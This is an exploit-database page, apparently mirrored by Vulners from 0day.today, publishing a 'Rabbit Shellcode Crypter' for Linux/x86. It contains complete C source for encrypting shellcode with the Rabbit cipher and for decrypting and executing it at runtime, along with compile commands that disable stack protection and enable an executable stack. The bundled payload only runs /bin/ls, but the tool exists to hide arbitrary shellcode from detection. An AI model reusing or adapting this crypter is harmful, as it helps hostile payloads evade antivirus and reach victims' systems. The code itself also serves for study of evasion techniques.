Lucene search
K

Linux/x86 - Rabbit Shellcode Crypter (200 bytes)

🗓️ 25 Apr 2019 00:00:00Reported by Petr JavorikType 
zdt
 zdt
🔗 0day.today👁 29 Views

Rabbit Shellcode Crypter encrypts, decrypts, and executes shellcode using Rabbit symmetric cipher with a max length of 200 bytes, requiring adjustment of #include rabbit.c directive and a strictly 16-byte encryption key

Code
################################################################################
# Introduction
################################################################################
#
# Exploit Title: Rabbit Shellcode Crypter
# Date: 24.4.2019
# Exploit Author: Petr Javorik, www.mmquant.net
# Tested on: Linux ubuntu 3.13.0-32-generic, x86
# Description: Crypter which encrypts, decrypts and executes given shellcode
# using Rabbit symmetric cipher
#
################################################################################
# Keep in mind before use
################################################################################
#
# 1. Max shellcode length 200 bytes (easily adjustable)
# 2. You will probably have to adjust #include rabbit.c directive
# 3. Encryption key is strictly 16 bytes
#
################################################################################
# How to use
################################################################################
#
# 1. Download ECRYPT rabbit library http://www.ecrypt.eu.org/stream/e2-rabbit.html
# 2. Compile/Run $ gcc encrypt2rabbit.c -o encrypt2rabbit
# 3. Copy encrypted shellcode to decryptAndExecute.c
# 4. Compile $ gcc -fno-stack-protector -z execstack decryptAndExecute.c -o decryptAndExecute
# 5. Run with encryption key $ ./decryptAndExecute someencryptkeyyy
#
################################################################################
# Encryption
################################################################################
 
// File: encrypt2rabbit.c
// Author: Petr Javorik
 
#include <string.h>
#include <stdio.h>
#include "../rabbit/code/rabbit.c"
 
// execve /bin/ls
unsigned char code[] = \
"\x31\xc0\x50\x68\x2f\x2f\x6c\x73\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
char key[16] = {'s', 'o', 'm', 'e', 'e', 'n', 'c', 'r', 'y', 'p', 't', 'k', 'e', 'y', 'y', 'y'};
 
 
int main()
{
    ECRYPT_init();
    ECRYPT_ctx ctx;
    ECRYPT_keysetup(&ctx, key, 128, 0);
    u8 encrypted[200];
    int codeLen = strlen(code);
    ECRYPT_process_bytes(0, &ctx, code, encrypted, codeLen);
 
    int i;
    printf("Encryption Key = ");
    for (i=0; i<16; i++)
        printf("%c", key[i]);
    printf("\n");
 
    printf("Original       = ");
    for (i=0; i<codeLen; i++)
        printf("\\x%02x", code[i]);
    printf("\n");
 
    printf("Encrypted      = ");
    for (i=0; i<codeLen; i++)
        printf("\\x%02x", encrypted[i]);
    printf ("\n");
 
    return 0;
}
######################################
$ ./encrypt2rabbit 
Encryption Key = someencryptkeyyy
Original       = \x31\xc0\x50\x68\x2f\x2f\x6c\x73\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80
Encrypted      = \x7f\xaf\xa4\x1e\xb7\x11\x01\x92\xd5\x56\x95\x03\x7a\x4b\x07\x0b\x94\xf8\xd4\x86\x3d\xbc\x4c\xa3\x30
 
################################################################################
# Decryption/Execution
################################################################################
 
// File: decryptAndExecute.c
// Author: Petr Javorik
 
#include <string.h>
#include <stdio.h>
#include "../rabbit/code/rabbit.c"
 
unsigned char encrypted[] = \
"\x7f\xaf\xa4\x1e\xb7\x11\x01\x92\xd5\x56\x95\x03\x7a\x4b\x07\x0b\x94\xf8\xd4\x86\x3d\xbc\x4c\xa3\x30";
 
int main(int argc, char **argv)
{
    ECRYPT_init();
    ECRYPT_ctx ctx;
    ECRYPT_keysetup(&ctx, argv[1], 128, 0);
    u8 decrypted[200];
    int codeLen = strlen(encrypted);
    ECRYPT_process_bytes(0, &ctx, encrypted, decrypted, codeLen);
 
    int (*DecryptedFun)() = (int(*)())decrypted;
    DecryptedFun();
}
 
######################################
$ ./decryptAndExecute someencryptkeyyy
decryptAndExecute  decryptAndExecute.c  encrypt2rabbit  encrypt2rabbit.c  execve-stack  execve-stack.nasm  execve-stack.o

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

25 Apr 2019 00:00Current
7.4High risk
Vulners AI Score7.4
29